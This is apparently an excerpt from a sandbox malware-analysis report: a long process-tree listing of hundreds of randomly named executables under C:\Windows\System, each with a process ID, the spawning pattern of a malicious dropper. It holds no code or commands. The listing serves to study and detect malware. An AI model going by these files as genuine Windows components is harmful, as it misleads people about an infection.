- C:\Windows\System\HjjMLaq.exe
  C:\Windows\System\HjjMLaq.exe
  2⤵
  PID:8072
- C:\Windows\System\NxOlwNk.exe
  C:\Windows\System\NxOlwNk.exe
  2⤵
  PID:8112
- C:\Windows\System\gMCuZAm.exe
  C:\Windows\System\gMCuZAm.exe
  2⤵
  PID:408
- C:\Windows\System\yFrDlDo.exe
  C:\Windows\System\yFrDlDo.exe
  2⤵
  PID:4576
- C:\Windows\System\isEqCaR.exe
  C:\Windows\System\isEqCaR.exe
  2⤵
  PID:7280
- C:\Windows\System\HHyScqv.exe
  C:\Windows\System\HHyScqv.exe
  2⤵
  PID:7496
- C:\Windows\System\MfXKYXN.exe
  C:\Windows\System\MfXKYXN.exe
  2⤵
  PID:7712
- C:\Windows\System\KDiNBcr.exe
  C:\Windows\System\KDiNBcr.exe
  2⤵
  PID:7880
- C:\Windows\System\APqFgqB.exe
  C:\Windows\System\APqFgqB.exe
  2⤵
  PID:8012
- C:\Windows\System\GjUidjz.exe
  C:\Windows\System\GjUidjz.exe
  2⤵
  PID:8152
- C:\Windows\System\coKFNbI.exe
  C:\Windows\System\coKFNbI.exe
  2⤵
  PID:6840
- C:\Windows\System\PizhlOq.exe
  C:\Windows\System\PizhlOq.exe
  2⤵
  PID:7428
- C:\Windows\System\TaouIVr.exe
  C:\Windows\System\TaouIVr.exe
  2⤵
  PID:7600
- C:\Windows\System\eovIOAA.exe
  C:\Windows\System\eovIOAA.exe
  2⤵
  PID:7916
- C:\Windows\System\jdOVKvf.exe
  C:\Windows\System\jdOVKvf.exe
  2⤵
  PID:7840
- C:\Windows\System\OVzbUAu.exe
  C:\Windows\System\OVzbUAu.exe
  2⤵
  PID:8208
- C:\Windows\System\hDevDXO.exe
  C:\Windows\System\hDevDXO.exe
  2⤵
  PID:8228
- C:\Windows\System\ulfUqgN.exe
  C:\Windows\System\ulfUqgN.exe
  2⤵
  PID:8248
- C:\Windows\System\UXqsbVs.exe
  C:\Windows\System\UXqsbVs.exe
  2⤵
  PID:8264
- C:\Windows\System\ImCivxj.exe
  C:\Windows\System\ImCivxj.exe
  2⤵
  PID:8284
- C:\Windows\System\XPtmljL.exe
  C:\Windows\System\XPtmljL.exe
  2⤵
  PID:8308
- C:\Windows\System\YJrxTQe.exe
  C:\Windows\System\YJrxTQe.exe
  2⤵
  PID:8340
- C:\Windows\System\HMEbvWU.exe
  C:\Windows\System\HMEbvWU.exe
  2⤵
  PID:8400
- C:\Windows\System\lploihW.exe
  C:\Windows\System\lploihW.exe
  2⤵
  PID:8420
- C:\Windows\System\kclMazT.exe
  C:\Windows\System\kclMazT.exe
  2⤵
  PID:8460
- C:\Windows\System\dOlobRh.exe
  C:\Windows\System\dOlobRh.exe
  2⤵
  PID:8484
- C:\Windows\System\WBdTEWs.exe
  C:\Windows\System\WBdTEWs.exe
  2⤵
  PID:8504
- C:\Windows\System\ccuBMbc.exe
  C:\Windows\System\ccuBMbc.exe
  2⤵
  PID:8524
- C:\Windows\System\Ljfqfbg.exe
  C:\Windows\System\Ljfqfbg.exe
  2⤵
  PID:8572
- C:\Windows\System\bXMZfyY.exe
  C:\Windows\System\bXMZfyY.exe
  2⤵
  PID:8588
- C:\Windows\System\xGZhNCi.exe
  C:\Windows\System\xGZhNCi.exe
  2⤵
  PID:8636
- C:\Windows\System\ybocnjY.exe
  C:\Windows\System\ybocnjY.exe
  2⤵
  PID:8676
- C:\Windows\System\noYdSoy.exe
  C:\Windows\System\noYdSoy.exe
  2⤵
  PID:8692
- C:\Windows\System\YKIpyuH.exe
  C:\Windows\System\YKIpyuH.exe
  2⤵
  PID:8728
- C:\Windows\System\zRKvBnU.exe
  C:\Windows\System\zRKvBnU.exe
  2⤵
  PID:8748
- C:\Windows\System\thQlfoG.exe
  C:\Windows\System\thQlfoG.exe
  2⤵
  PID:8772
- C:\Windows\System\iJuMahb.exe
  C:\Windows\System\iJuMahb.exe
  2⤵
  PID:8812
- C:\Windows\System\dmINXbd.exe
  C:\Windows\System\dmINXbd.exe
  2⤵
  PID:8836
- C:\Windows\System\vbdGDMW.exe
  C:\Windows\System\vbdGDMW.exe
  2⤵
  PID:8876
- C:\Windows\System\VpLDvqi.exe
  C:\Windows\System\VpLDvqi.exe
  2⤵
  PID:8892
- C:\Windows\System\jdPHyrT.exe
  C:\Windows\System\jdPHyrT.exe
  2⤵
  PID:8912
- C:\Windows\System\cLAFVNf.exe
  C:\Windows\System\cLAFVNf.exe
  2⤵
  PID:8952
- C:\Windows\System\JZXAPPB.exe
  C:\Windows\System\JZXAPPB.exe
  2⤵
  PID:8968
- C:\Windows\System\yvvfQXw.exe
  C:\Windows\System\yvvfQXw.exe
  2⤵
  PID:9004
- C:\Windows\System\oradkOZ.exe
  C:\Windows\System\oradkOZ.exe
  2⤵
  PID:9020
- C:\Windows\System\PyKbyxu.exe
  C:\Windows\System\PyKbyxu.exe
  2⤵
  PID:9040
- C:\Windows\System\jNoCyvs.exe
  C:\Windows\System\jNoCyvs.exe
  2⤵
  PID:9064
- C:\Windows\System\bMmzsCY.exe
  C:\Windows\System\bMmzsCY.exe
  2⤵
  PID:9084
- C:\Windows\System\QOXpLhe.exe
  C:\Windows\System\QOXpLhe.exe
  2⤵
  PID:9104
- C:\Windows\System\dMYliQz.exe
  C:\Windows\System\dMYliQz.exe
  2⤵
  PID:9128
- C:\Windows\System\YpskryJ.exe
  C:\Windows\System\YpskryJ.exe
  2⤵
  PID:9160
- C:\Windows\System\haenqZA.exe
  C:\Windows\System\haenqZA.exe
  2⤵
  PID:9196
- C:\Windows\System\eAwhdIO.exe
  C:\Windows\System\eAwhdIO.exe
  2⤵
  PID:6444
- C:\Windows\System\httnYME.exe
  C:\Windows\System\httnYME.exe
  2⤵
  PID:8240
- C:\Windows\System\EGGmLLu.exe
  C:\Windows\System\EGGmLLu.exe
  2⤵
  PID:8292
- C:\Windows\System\wUNEMFB.exe
  C:\Windows\System\wUNEMFB.exe
  2⤵
  PID:8416
- C:\Windows\System\BatZtxT.exe
  C:\Windows\System\BatZtxT.exe
  2⤵
  PID:8440
- C:\Windows\System\fzygdKj.exe
  C:\Windows\System\fzygdKj.exe
  2⤵
  PID:8512
- C:\Windows\System\Cjymssu.exe
  C:\Windows\System\Cjymssu.exe
  2⤵
  PID:8560
- C:\Windows\System\iMzZZQE.exe
  C:\Windows\System\iMzZZQE.exe
  2⤵
  PID:8624
- C:\Windows\System\lYjBJDJ.exe
  C:\Windows\System\lYjBJDJ.exe
  2⤵
  PID:8660
- C:\Windows\System\VRcRqQn.exe
  C:\Windows\System\VRcRqQn.exe
  2⤵
  PID:8724
- C:\Windows\System\fCvXBQU.exe
  C:\Windows\System\fCvXBQU.exe
  2⤵
  PID:8756
- C:\Windows\System\iZzylll.exe
  C:\Windows\System\iZzylll.exe
  2⤵
  PID:9056
- C:\Windows\System\lVHiCFo.exe
  C:\Windows\System\lVHiCFo.exe
  2⤵
  PID:9036
- C:\Windows\System\OvFQvZd.exe
  C:\Windows\System\OvFQvZd.exe
  2⤵
  PID:9100
- C:\Windows\System\SVnvlzE.exe
  C:\Windows\System\SVnvlzE.exe
  2⤵
  PID:9180
- C:\Windows\System\wsjcyQJ.exe
  C:\Windows\System\wsjcyQJ.exe
  2⤵
  PID:8196
- C:\Windows\System\PWdXFLv.exe
  C:\Windows\System\PWdXFLv.exe
  2⤵
  PID:8136
- C:\Windows\System\OIrLqGh.exe
  C:\Windows\System\OIrLqGh.exe
  2⤵
  PID:8472
- C:\Windows\System\mANEUKm.exe
  C:\Windows\System\mANEUKm.exe
  2⤵
  PID:8596
- C:\Windows\System\HxeQCwL.exe
  C:\Windows\System\HxeQCwL.exe
  2⤵
  PID:8668
- C:\Windows\System\xChpQBu.exe
  C:\Windows\System\xChpQBu.exe
  2⤵
  PID:8904
- C:\Windows\System\GTgAemN.exe
  C:\Windows\System\GTgAemN.exe
  2⤵
  PID:9080
- C:\Windows\System\OqJLPYt.exe
  C:\Windows\System\OqJLPYt.exe
  2⤵
  PID:8236
- C:\Windows\System\HuXQSIH.exe
  C:\Windows\System\HuXQSIH.exe
  2⤵
  PID:8456
- C:\Windows\System\lPcYviQ.exe
  C:\Windows\System\lPcYviQ.exe
  2⤵
  PID:8828
- C:\Windows\System\ugImkpe.exe
  C:\Windows\System\ugImkpe.exe
  2⤵
  PID:9184
- C:\Windows\System\JLgGQds.exe
  C:\Windows\System\JLgGQds.exe
  2⤵
  PID:9244
- C:\Windows\System\aBTPrTT.exe
  C:\Windows\System\aBTPrTT.exe
  2⤵
  PID:9264
- C:\Windows\System\jEEhuhi.exe
  C:\Windows\System\jEEhuhi.exe
  2⤵
  PID:9288
- C:\Windows\System\CQbUMkH.exe
  C:\Windows\System\CQbUMkH.exe
  2⤵
  PID:9304
- C:\Windows\System\uUVtwiw.exe
  C:\Windows\System\uUVtwiw.exe
  2⤵
  PID:9324
- C:\Windows\System\VPOZvEJ.exe
  C:\Windows\System\VPOZvEJ.exe
  2⤵
  PID:9364
- C:\Windows\System\DUKLrvJ.exe
  C:\Windows\System\DUKLrvJ.exe
  2⤵
  PID:9404
- C:\Windows\System\UeyPUrf.exe
  C:\Windows\System\UeyPUrf.exe
  2⤵
  PID:9424
- C:\Windows\System\bwUkeXg.exe
  C:\Windows\System\bwUkeXg.exe
  2⤵
  PID:9456
- C:\Windows\System\BQmRAQM.exe
  C:\Windows\System\BQmRAQM.exe
  2⤵
  PID:9476
- C:\Windows\System\ZSgQqLE.exe
  C:\Windows\System\ZSgQqLE.exe
  2⤵
  PID:9524
- C:\Windows\System\Coagtkl.exe
  C:\Windows\System\Coagtkl.exe
  2⤵
  PID:9564
- C:\Windows\System\tjjdDOs.exe
  C:\Windows\System\tjjdDOs.exe
  2⤵
  PID:9584
- C:\Windows\System\iSuOooq.exe
  C:\Windows\System\iSuOooq.exe
  2⤵
  PID:9608
- C:\Windows\System\rTljIDw.exe
  C:\Windows\System\rTljIDw.exe
  2⤵
  PID:9648
- C:\Windows\System\SNZgMHi.exe
  C:\Windows\System\SNZgMHi.exe
  2⤵
  PID:9668
- C:\Windows\System\lUvSuaH.exe
  C:\Windows\System\lUvSuaH.exe
  2⤵
  PID:9684
- C:\Windows\System\YPAMdct.exe
  C:\Windows\System\YPAMdct.exe
  2⤵
  PID:9712
- C:\Windows\System\LjxRYya.exe
  C:\Windows\System\LjxRYya.exe
  2⤵
  PID:9752
- C:\Windows\System\OxzsPDd.exe
  C:\Windows\System\OxzsPDd.exe
  2⤵
  PID:9780
- C:\Windows\System\IoYhERN.exe
  C:\Windows\System\IoYhERN.exe
  2⤵
  PID:9804
- C:\Windows\System\wCPaNif.exe
  C:\Windows\System\wCPaNif.exe
  2⤵
  PID:9832
- C:\Windows\System\eoxHNJc.exe
  C:\Windows\System\eoxHNJc.exe
  2⤵
  PID:9848
- C:\Windows\System\oVYavnn.exe
  C:\Windows\System\oVYavnn.exe
  2⤵
  PID:9872
- C:\Windows\System\WADEuYn.exe
  C:\Windows\System\WADEuYn.exe
  2⤵
  PID:9900
- C:\Windows\System\TXXTrOj.exe
  C:\Windows\System\TXXTrOj.exe
  2⤵
  PID:9920
- C:\Windows\System\kIMzHKr.exe
  C:\Windows\System\kIMzHKr.exe
  2⤵
  PID:9944
- C:\Windows\System\sEJtqbr.exe
  C:\Windows\System\sEJtqbr.exe
  2⤵
  PID:9984
- C:\Windows\System\POhljwP.exe
  C:\Windows\System\POhljwP.exe
  2⤵
  PID:10016
- C:\Windows\System\AcMUgSU.exe
  C:\Windows\System\AcMUgSU.exe
  2⤵
  PID:10040
- C:\Windows\System\woxbJRi.exe
  C:\Windows\System\woxbJRi.exe
  2⤵
  PID:10076
- C:\Windows\System\qXEmoNq.exe
  C:\Windows\System\qXEmoNq.exe
  2⤵
  PID:10120
- C:\Windows\System\cdAhBks.exe
  C:\Windows\System\cdAhBks.exe
  2⤵
  PID:10136
- C:\Windows\System\SPMdLkb.exe
  C:\Windows\System\SPMdLkb.exe
  2⤵
  PID:10164
- C:\Windows\System\wEJIxRk.exe
  C:\Windows\System\wEJIxRk.exe
  2⤵
  PID:10192
- C:\Windows\System\DnQBUZy.exe
  C:\Windows\System\DnQBUZy.exe
  2⤵
  PID:10216
- C:\Windows\System\VLwWmiT.exe
  C:\Windows\System\VLwWmiT.exe
  2⤵
  PID:9140
- C:\Windows\System\ryWePMu.exe
  C:\Windows\System\ryWePMu.exe
  2⤵
  PID:9280
- C:\Windows\System\NjfZgDk.exe
  C:\Windows\System\NjfZgDk.exe
  2⤵
  PID:9296
- C:\Windows\System\xZnVyfN.exe
  C:\Windows\System\xZnVyfN.exe
  2⤵
  PID:9420
- C:\Windows\System\pjfLfZf.exe
  C:\Windows\System\pjfLfZf.exe
  2⤵
  PID:9596
- C:\Windows\System\BrrxAVw.exe
  C:\Windows\System\BrrxAVw.exe
  2⤵
  PID:9624
- C:\Windows\System\ijaQeNg.exe
  C:\Windows\System\ijaQeNg.exe
  2⤵
  PID:9692
- C:\Windows\System\DLhfTQq.exe
  C:\Windows\System\DLhfTQq.exe
  2⤵
  PID:9676
- C:\Windows\System\ldXPtEu.exe
  C:\Windows\System\ldXPtEu.exe
  2⤵
  PID:9732
- C:\Windows\System\eAUQQQT.exe
  C:\Windows\System\eAUQQQT.exe
  2⤵
  PID:9772
- C:\Windows\System\CUkjxje.exe
  C:\Windows\System\CUkjxje.exe
  2⤵
  PID:9800
- C:\Windows\System\dQNGmDH.exe
  C:\Windows\System\dQNGmDH.exe
  2⤵
  PID:9860
- C:\Windows\System\iTHPrnU.exe
  C:\Windows\System\iTHPrnU.exe
  2⤵
  PID:9896
- C:\Windows\System\kQFZzeQ.exe
  C:\Windows\System\kQFZzeQ.exe
  2⤵
  PID:9932
- C:\Windows\System\XRlIDRC.exe
  C:\Windows\System\XRlIDRC.exe
  2⤵
  PID:10072
- C:\Windows\System\BKUkCEk.exe
  C:\Windows\System\BKUkCEk.exe
  2⤵
  PID:10032
- C:\Windows\System\FRBqPPr.exe
  C:\Windows\System\FRBqPPr.exe
  2⤵
  PID:9748
- C:\Windows\System\DMhbdqC.exe
  C:\Windows\System\DMhbdqC.exe
  2⤵
  PID:9388
- C:\Windows\System\SzOdGmD.exe
  C:\Windows\System\SzOdGmD.exe
  2⤵
  PID:9452
- C:\Windows\System\pKaEwyX.exe
  C:\Windows\System\pKaEwyX.exe
  2⤵
  PID:9512
- C:\Windows\System\fZLHpjI.exe
  C:\Windows\System\fZLHpjI.exe
  2⤵
  PID:9504
- C:\Windows\System\HvCsBhu.exe
  C:\Windows\System\HvCsBhu.exe
  2⤵
  PID:10024
- C:\Windows\System\TYRdbEq.exe
  C:\Windows\System\TYRdbEq.exe
  2⤵
  PID:10208
- C:\Windows\System\pfLETzE.exe
  C:\Windows\System\pfLETzE.exe
  2⤵
  PID:9508
- C:\Windows\System\QOmnzqC.exe
  C:\Windows\System\QOmnzqC.exe
  2⤵
  PID:9976
- C:\Windows\System\UpxeSGh.exe
  C:\Windows\System\UpxeSGh.exe
  2⤵
  PID:10188
- C:\Windows\System\yIqLnet.exe
  C:\Windows\System\yIqLnet.exe
  2⤵
  PID:9576
- C:\Windows\System\TPfKJLI.exe
  C:\Windows\System\TPfKJLI.exe
  2⤵
  PID:9824
- C:\Windows\System\hKKEHIz.exe
  C:\Windows\System\hKKEHIz.exe
  2⤵
  PID:10248
- C:\Windows\System\VWjwLkp.exe
  C:\Windows\System\VWjwLkp.exe
  2⤵
  PID:10272
- C:\Windows\System\RLLyoeq.exe
  C:\Windows\System\RLLyoeq.exe
  2⤵
  PID:10292
- C:\Windows\System\NIrFkGz.exe
  C:\Windows\System\NIrFkGz.exe
  2⤵
  PID:10316
- C:\Windows\System\tLVgHcA.exe
  C:\Windows\System\tLVgHcA.exe
  2⤵
  PID:10348
- C:\Windows\System\rissuvm.exe
  C:\Windows\System\rissuvm.exe
  2⤵
  PID:10368
- C:\Windows\System\FWytutN.exe
  C:\Windows\System\FWytutN.exe
  2⤵
  PID:10396
- C:\Windows\System\MlrEvyX.exe
  C:\Windows\System\MlrEvyX.exe
  2⤵
  PID:10428
- C:\Windows\System\xtdrlBO.exe
  C:\Windows\System\xtdrlBO.exe
  2⤵
  PID:10456
- C:\Windows\System\EbveDlI.exe
  C:\Windows\System\EbveDlI.exe
  2⤵
  PID:10488
- C:\Windows\System\OCkeYnt.exe
  C:\Windows\System\OCkeYnt.exe
  2⤵
  PID:10516
- C:\Windows\System\mufxLeO.exe
  C:\Windows\System\mufxLeO.exe
  2⤵
  PID:10544
- C:\Windows\System\MUnuKbs.exe
  C:\Windows\System\MUnuKbs.exe
  2⤵
  PID:10572
- C:\Windows\System\MSMuKWr.exe
  C:\Windows\System\MSMuKWr.exe
  2⤵
  PID:10600
- C:\Windows\System\mHidKMh.exe
  C:\Windows\System\mHidKMh.exe
  2⤵
  PID:10632
- C:\Windows\System\gxvfwNg.exe
  C:\Windows\System\gxvfwNg.exe
  2⤵
  PID:10660
- C:\Windows\System\UPklggH.exe
  C:\Windows\System\UPklggH.exe
  2⤵
  PID:10684
- C:\Windows\System\GIwxEMI.exe
  C:\Windows\System\GIwxEMI.exe
  2⤵
  PID:10724
- C:\Windows\System\gDkQkcx.exe
  C:\Windows\System\gDkQkcx.exe
  2⤵
  PID:10752
- C:\Windows\System\XTmodbE.exe
  C:\Windows\System\XTmodbE.exe
  2⤵
  PID:10768
- C:\Windows\System\RYbqSHZ.exe
  C:\Windows\System\RYbqSHZ.exe
  2⤵
  PID:10784
- C:\Windows\System\zJcZqwb.exe
  C:\Windows\System\zJcZqwb.exe
  2⤵
  PID:10816
- C:\Windows\System\hcvkevv.exe
  C:\Windows\System\hcvkevv.exe
  2⤵
  PID:10832
- C:\Windows\System\HLlaFkg.exe
  C:\Windows\System\HLlaFkg.exe
  2⤵
  PID:10856
- C:\Windows\System\UVUbpif.exe
  C:\Windows\System\UVUbpif.exe
  2⤵
  PID:10880
- C:\Windows\System\jhbfMpL.exe
  C:\Windows\System\jhbfMpL.exe
  2⤵
  PID:10900
- C:\Windows\System\iEnanNL.exe
  C:\Windows\System\iEnanNL.exe
  2⤵
  PID:10920
- C:\Windows\System\qOCvzvF.exe
  C:\Windows\System\qOCvzvF.exe
  2⤵
  PID:10944
- C:\Windows\System\SFJBBGX.exe
  C:\Windows\System\SFJBBGX.exe
  2⤵
  PID:11020
- C:\Windows\System\HEjADyD.exe
  C:\Windows\System\HEjADyD.exe
  2⤵
  PID:11060
- C:\Windows\System\GdMrjaN.exe
  C:\Windows\System\GdMrjaN.exe
  2⤵
  PID:11080
- C:\Windows\System\lXIIwQJ.exe
  C:\Windows\System\lXIIwQJ.exe
  2⤵
  PID:11120
- C:\Windows\System\oiHyIuR.exe
  C:\Windows\System\oiHyIuR.exe
  2⤵
  PID:11160
- C:\Windows\System\MWaUnMB.exe
  C:\Windows\System\MWaUnMB.exe
  2⤵
  PID:11200
- C:\Windows\System\NRKvCJZ.exe
  C:\Windows\System\NRKvCJZ.exe
  2⤵
  PID:11220
- C:\Windows\System\DDcrdAb.exe
  C:\Windows\System\DDcrdAb.exe
  2⤵
  PID:11248
- C:\Windows\System\avUPxCF.exe
  C:\Windows\System\avUPxCF.exe
  2⤵
  PID:10268
- C:\Windows\System\tUaMgvL.exe
  C:\Windows\System\tUaMgvL.exe
  2⤵
  PID:10336
- C:\Windows\System\mXpBvca.exe
  C:\Windows\System\mXpBvca.exe
  2⤵
  PID:10360
- C:\Windows\System\RTjpOyt.exe
  C:\Windows\System\RTjpOyt.exe
  2⤵
  PID:10404
- C:\Windows\System\dTLChRp.exe
  C:\Windows\System\dTLChRp.exe
  2⤵
  PID:10468
- C:\Windows\System\iDADNfM.exe
  C:\Windows\System\iDADNfM.exe
  2⤵
  PID:10552
- C:\Windows\System\DrayCNN.exe
  C:\Windows\System\DrayCNN.exe
  2⤵
  PID:10668
- C:\Windows\System\WnITVlq.exe
  C:\Windows\System\WnITVlq.exe
  2⤵
  PID:10700
- C:\Windows\System\VwlExVm.exe
  C:\Windows\System\VwlExVm.exe
  2⤵
  PID:10764
- C:\Windows\System\DBaNhHv.exe
  C:\Windows\System\DBaNhHv.exe
  2⤵
  PID:10808
- C:\Windows\System\GoeGNpU.exe
  C:\Windows\System\GoeGNpU.exe
  2⤵
  PID:10868
- C:\Windows\System\iVQKNvm.exe
  C:\Windows\System\iVQKNvm.exe
  2⤵
  PID:10896
- C:\Windows\System\NwasFYa.exe
  C:\Windows\System\NwasFYa.exe
  2⤵
  PID:11052
- C:\Windows\System\tLupOFu.exe
  C:\Windows\System\tLupOFu.exe
  2⤵
  PID:11048
- C:\Windows\System\iDFkzlv.exe
  C:\Windows\System\iDFkzlv.exe
  2⤵
  PID:11140
- C:\Windows\System\zlbVaUY.exe
  C:\Windows\System\zlbVaUY.exe
  2⤵
  PID:11148
- C:\Windows\System\sGBtwbY.exe
  C:\Windows\System\sGBtwbY.exe
  2⤵
  PID:11216
- C:\Windows\System\yygKnMS.exe
  C:\Windows\System\yygKnMS.exe
  2⤵
  PID:10392
- C:\Windows\System\slOAeoc.exe
  C:\Windows\System\slOAeoc.exe
  2⤵
  PID:10564
- C:\Windows\System\ZvGfYzE.exe
  C:\Windows\System\ZvGfYzE.exe
  2⤵
  PID:2972
- C:\Windows\System\ObcTmiQ.exe
  C:\Windows\System\ObcTmiQ.exe
  2⤵
  PID:10852
- C:\Windows\System\xCqRAVy.exe
  C:\Windows\System\xCqRAVy.exe
  2⤵
  PID:10780
- C:\Windows\System\ysqMssu.exe
  C:\Windows\System\ysqMssu.exe
  2⤵
  PID:10908
- C:\Windows\System\ufiQUaZ.exe
  C:\Windows\System\ufiQUaZ.exe
  2⤵
  PID:1644
- C:\Windows\System\bcBqrTX.exe
  C:\Windows\System\bcBqrTX.exe
  2⤵
  PID:11112
- C:\Windows\System\BShMMzG.exe
  C:\Windows\System\BShMMzG.exe
  2⤵
  PID:11236
- C:\Windows\System\RhdHPId.exe
  C:\Windows\System\RhdHPId.exe
  2⤵
  PID:10512
- C:\Windows\System\oPvmRxu.exe
  C:\Windows\System\oPvmRxu.exe
  2⤵
  PID:10612
- C:\Windows\System\EJsMCmr.exe
  C:\Windows\System\EJsMCmr.exe
  2⤵
  PID:11072
- C:\Windows\System\uTWqjUB.exe
  C:\Windows\System\uTWqjUB.exe
  2⤵
  PID:11192
- C:\Windows\System\JJcjckV.exe
  C:\Windows\System\JJcjckV.exe
  2⤵
  PID:10732
- C:\Windows\System\nUnboSF.exe
  C:\Windows\System\nUnboSF.exe
  2⤵
  PID:11260
- C:\Windows\System\MYerBCo.exe
  C:\Windows\System\MYerBCo.exe
  2⤵
  PID:3084
- C:\Windows\System\SDItoao.exe
  C:\Windows\System\SDItoao.exe
  2⤵
  PID:11280
- C:\Windows\System\ZsyxupD.exe
  C:\Windows\System\ZsyxupD.exe
  2⤵
  PID:11328
- C:\Windows\System\xLqYUej.exe
  C:\Windows\System\xLqYUej.exe
  2⤵
  PID:11360
- C:\Windows\System\GNdOAGV.exe
  C:\Windows\System\GNdOAGV.exe
  2⤵
  PID:11380
- C:\Windows\System\GqcgecV.exe
  C:\Windows\System\GqcgecV.exe
  2⤵
  PID:11400
- C:\Windows\System\XhCjafR.exe
  C:\Windows\System\XhCjafR.exe
  2⤵
  PID:11436
- C:\Windows\System\sYcAeSp.exe
  C:\Windows\System\sYcAeSp.exe
  2⤵
  PID:11456
- C:\Windows\System\ErATjrf.exe
  C:\Windows\System\ErATjrf.exe
  2⤵
  PID:11488
- C:\Windows\System\ABDprEk.exe
  C:\Windows\System\ABDprEk.exe
  2⤵
  PID:11512
- C:\Windows\System\PHkZBDw.exe
  C:\Windows\System\PHkZBDw.exe
  2⤵
  PID:11536
- C:\Windows\System\AvyciCG.exe
  C:\Windows\System\AvyciCG.exe
  2⤵
  PID:11556
- C:\Windows\System\ZapxeQn.exe
  C:\Windows\System\ZapxeQn.exe
  2⤵
  PID:11612
- C:\Windows\System\ZtXwbSo.exe
  C:\Windows\System\ZtXwbSo.exe
  2⤵
  PID:11636
- C:\Windows\System\aCZSnOR.exe
  C:\Windows\System\aCZSnOR.exe
  2⤵
  PID:11660
- C:\Windows\System\uOUBPBB.exe
  C:\Windows\System\uOUBPBB.exe
  2⤵
  PID:11684
- C:\Windows\System\qDMHThl.exe
  C:\Windows\System\qDMHThl.exe
  2⤵
  PID:11704
- C:\Windows\System\SzKDyKv.exe
  C:\Windows\System\SzKDyKv.exe
  2⤵
  PID:11728
- C:\Windows\System\CIpBfUb.exe
  C:\Windows\System\CIpBfUb.exe
  2⤵
  PID:11752
- C:\Windows\System\XHgtnEm.exe
  C:\Windows\System\XHgtnEm.exe
  2⤵
  PID:11768
- C:\Windows\System\RPFoBeL.exe
  C:\Windows\System\RPFoBeL.exe
  2⤵
  PID:11804
- C:\Windows\System\DUbtZhv.exe
  C:\Windows\System\DUbtZhv.exe
  2⤵
  PID:11844
- C:\Windows\System\NbHRqAC.exe
  C:\Windows\System\NbHRqAC.exe
  2⤵
  PID:11880
- C:\Windows\System\DEXWCZN.exe
  C:\Windows\System\DEXWCZN.exe
  2⤵
  PID:11904
- C:\Windows\System\tCeUFXA.exe
  C:\Windows\System\tCeUFXA.exe
  2⤵
  PID:11940
- C:\Windows\System\GOjjdqC.exe
  C:\Windows\System\GOjjdqC.exe
  2⤵
  PID:11964
- C:\Windows\System\TuOsiNZ.exe
  C:\Windows\System\TuOsiNZ.exe
  2⤵
  PID:11984
- C:\Windows\System\spJpTUZ.exe
  C:\Windows\System\spJpTUZ.exe
  2⤵
  PID:12024
- C:\Windows\System\SbPgrDp.exe
  C:\Windows\System\SbPgrDp.exe
  2⤵
  PID:12060
- C:\Windows\System\MlfVsPD.exe
  C:\Windows\System\MlfVsPD.exe
  2⤵
  PID:12080
- C:\Windows\System\nbDpyFS.exe
  C:\Windows\System\nbDpyFS.exe
  2⤵
  PID:12132
- C:\Windows\System\OejqMNS.exe
  C:\Windows\System\OejqMNS.exe
  2⤵
  PID:12148
- C:\Windows\System\PqfPypy.exe
  C:\Windows\System\PqfPypy.exe
  2⤵
  PID:12168
- C:\Windows\System\wcBFPCM.exe
  C:\Windows\System\wcBFPCM.exe
  2⤵
  PID:12204
- C:\Windows\System\ybbrTbD.exe
  C:\Windows\System\ybbrTbD.exe
  2⤵
  PID:12224
- C:\Windows\System\bkclVqV.exe
  C:\Windows\System\bkclVqV.exe
  2⤵
  PID:12244
- C:\Windows\System\HkfaPqx.exe
  C:\Windows\System\HkfaPqx.exe
  2⤵
  PID:12264
- C:\Windows\System\xCcyCbu.exe
  C:\Windows\System\xCcyCbu.exe
  2⤵
  PID:5084
- C:\Windows\System\pIWHAmS.exe
  C:\Windows\System\pIWHAmS.exe
  2⤵
  PID:11304
- C:\Windows\System\fjOwgYs.exe
  C:\Windows\System\fjOwgYs.exe
  2⤵
  PID:11416
- C:\Windows\System\uCxfLOZ.exe
  C:\Windows\System\uCxfLOZ.exe
  2⤵
  PID:11448
- C:\Windows\System\VlSOirJ.exe
  C:\Windows\System\VlSOirJ.exe
  2⤵
  PID:11544
- C:\Windows\System\FEzeyKk.exe
  C:\Windows\System\FEzeyKk.exe
  2⤵
  PID:11668
- C:\Windows\System\AsxljzC.exe
  C:\Windows\System\AsxljzC.exe
  2⤵
  PID:11720
- C:\Windows\System\usBCEwa.exe
  C:\Windows\System\usBCEwa.exe
  2⤵
  PID:11748
- C:\Windows\System\QarGuGp.exe
  C:\Windows\System\QarGuGp.exe
  2⤵
  PID:4056
- C:\Windows\System\OXqgyFN.exe
  C:\Windows\System\OXqgyFN.exe
  2⤵
  PID:11828
- C:\Windows\System\kDZXrPG.exe
  C:\Windows\System\kDZXrPG.exe
  2⤵
  PID:3636
- C:\Windows\System\cKnLUze.exe
  C:\Windows\System\cKnLUze.exe
  2⤵
  PID:11956
- C:\Windows\System\KrtAsPy.exe
  C:\Windows\System\KrtAsPy.exe
  2⤵
  PID:12008
- C:\Windows\System\sDioIAP.exe
  C:\Windows\System\sDioIAP.exe
  2⤵
  PID:12112
- C:\Windows\System\yyoiCDl.exe
  C:\Windows\System\yyoiCDl.exe
  2⤵
  PID:12164
- C:\Windows\System\UVkUgfB.exe
  C:\Windows\System\UVkUgfB.exe
  2⤵
  PID:12260
- C:\Windows\System\isNHTaj.exe
  C:\Windows\System\isNHTaj.exe
  2⤵
  PID:12240
- C:\Windows\System\BmORVnF.exe
  C:\Windows\System\BmORVnF.exe
  2⤵
  PID:224
- C:\Windows\System\CXkFTwP.exe
  C:\Windows\System\CXkFTwP.exe
  2⤵
  PID:11368
- C:\Windows\System\PEZhhNb.exe
  C:\Windows\System\PEZhhNb.exe
  2⤵
  PID:11648
- C:\Windows\System\zpGYBRX.exe
  C:\Windows\System\zpGYBRX.exe
  2⤵
  PID:11820
- C:\Windows\System\vWjtkMG.exe
  C:\Windows\System\vWjtkMG.exe
  2⤵
  PID:11888
- C:\Windows\System\aqJxbvn.exe
  C:\Windows\System\aqJxbvn.exe
  2⤵
  PID:12056
- C:\Windows\System\CoBcOeB.exe
  C:\Windows\System\CoBcOeB.exe
  2⤵
  PID:12212
- C:\Windows\System\uEFdUOz.exe
  C:\Windows\System\uEFdUOz.exe
  2⤵
  PID:11352
- C:\Windows\System\tofCzXU.exe
  C:\Windows\System\tofCzXU.exe
  2⤵
  PID:3524
- C:\Windows\System\zHaaJto.exe
  C:\Windows\System\zHaaJto.exe
  2⤵
  PID:12016
- C:\Windows\System\cUOwZko.exe
  C:\Windows\System\cUOwZko.exe
  2⤵
  PID:11976
- C:\Windows\System\pqNSdmp.exe
  C:\Windows\System\pqNSdmp.exe
  2⤵
  PID:11716
